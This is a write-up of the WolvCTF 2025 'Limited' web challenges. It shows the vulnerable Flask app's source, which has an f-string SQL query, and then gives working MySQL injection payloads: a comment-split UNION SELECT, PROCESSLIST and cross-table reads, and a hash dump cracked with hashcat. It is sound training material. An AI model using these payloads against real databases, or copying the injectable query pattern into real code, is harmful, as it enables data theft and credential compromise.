WolvCTF 2025
Some cool sqlis
The limited series consisted of 3 web challenges using the same source, with 3 flags to find.
We had access to the source code, which allowed us to easily identify an sql injection in the /query route.
1from flask import Flask, request, jsonify, render_template
2from flask_limiter import Limiter
3from flask_limiter.util import get_remote_address
4from flask_mysqldb import MySQL
5
6import os
7import re
8import socket
9
10FLAG1 = 'wctf{redacted-flag}'
11
12PORT = 8000
13
14app = Flask(__name__)
15limiter = Limiter(
16 app=app,
17 key_func=get_remote_address,
18 default_limits=["5 per second"],
19 storage_uri="memory://",
20)
21
22
23def get_db_hostname():
24 db_hostname = 'db'
25 try:
26 socket.getaddrinfo(db_hostname, 3306)
27 return db_hostname
28 except:
29 return '127.0.0.1'
30
31
32app.config['MYSQL_HOST'] = get_db_hostname()
33app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
34app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
35app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]
36
37print('app.config:', app.config)
38
39mysql = MySQL(app)
40
41@app.route('/')
42def root():
43 return render_template("index.html")
44
45
46@app.route('/query')
47def query():
48 try:
49 price = float(request.args.get('price') or '0.00')
50 except:
51 price = 0.0
52
53 price_op = str(request.args.get('price_op') or '>')
54 if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
55 return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
56
57 if len(price_op) > 4:
58 return 'price_op too long', 400
59
60 limit = str(request.args.get('limit') or '1')
61
62 query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
63 print('query:', query)
64
65 if ';' in query:
66 return 'Sorry, multiple statements are not allowed', 400
67
68 try:
69 cur = mysql.connection.cursor()
70 cur.execute(query)
71 records = cur.fetchall()
72 column_names = [desc[0] for desc in cur.description]
73 cur.close()
74 except Exception as e:
75 return str(e), 400
76
77 result = [dict(zip(column_names, row)) for row in records]
78 return jsonify(result)
79
80@app.route("/<path:path>")
81def missing_handler(path):
82 return 'page not found!', 404
83
84if __name__ == "__main__":
85 app.run(host='0.0.0.0', port=PORT, threaded=True, debug=False)
We have an sql query that takes three user inputs:
1query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
- price_op
- price
- limit
The only complication being the restrictions on the price_op and price inputs.
- Price must be a float, so we can’t use that for an injection
- Price_op must start with one of the following characters =, <, <=, <>,>=, >, and must be maximum 4 characters
We couldn’t even injection a union select after the limit as you cannot union after an order by in sql.
This comment, left by the creator, sent me down a rabbit hole for a few hours, but turned out to be a dead end.
1 # I'm pretty sure the LIMIT clause cannot be used for an injection
2 # with MySQL 9.x
3 #
4 # This attack works in v5.5 but not later versions
5 # https://lightless.me/archives/111.html
After seeing this comment /* {FLAG1} */ that was left in the query, I realised i could just comment out all of this {price} ORDER BY 1 LIMIT, and then inject my union select at the end, like so:
/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,4 -- -
With our sql query looking like this:
SELECT /*wctf{redacted-flag}*/category, name, price, description FROM Menu WHERE price <5/* 5.0 ORDER BY 1 LIMIT */ union select 1,2,3,4 -- -
The easy part came next.
Limited 1: Retrieve the comment in the query.
In mysql, INFORMATION_SCHEMA.PROCESSLIST is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. (thanks payloadallthethings)
That gives us an injection like so
/query?price=5.00&price_op=<5/*&limit=*/ UNION SELECT null,null,info,null FROM INFORMATION_SCHEMA.PROCESSLIST -- -
Flag: wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}
Limited 2: Can you read the flag in another table?
/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,concat(0x28,value,0x3a) FROM Flag_843423739 -- -
Flag: wctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}
Limited 3: Find the password for the flag user
In mysql, we can simply dump the hash of a user, and then crack it with hashcat and a good wordlist.
In this case, the creator told us that the password was 13 characters long, and in the rockyou list.
Let’s create a new, shortened rockyou list:
1LC_ALL=C awk 'length == 13' rockyou.txt > rockyoushort.txt
Then, following this guide, we can dump the hash and crack it.
Which give us maricrissarah, so the flag is wctf{maricrissarah}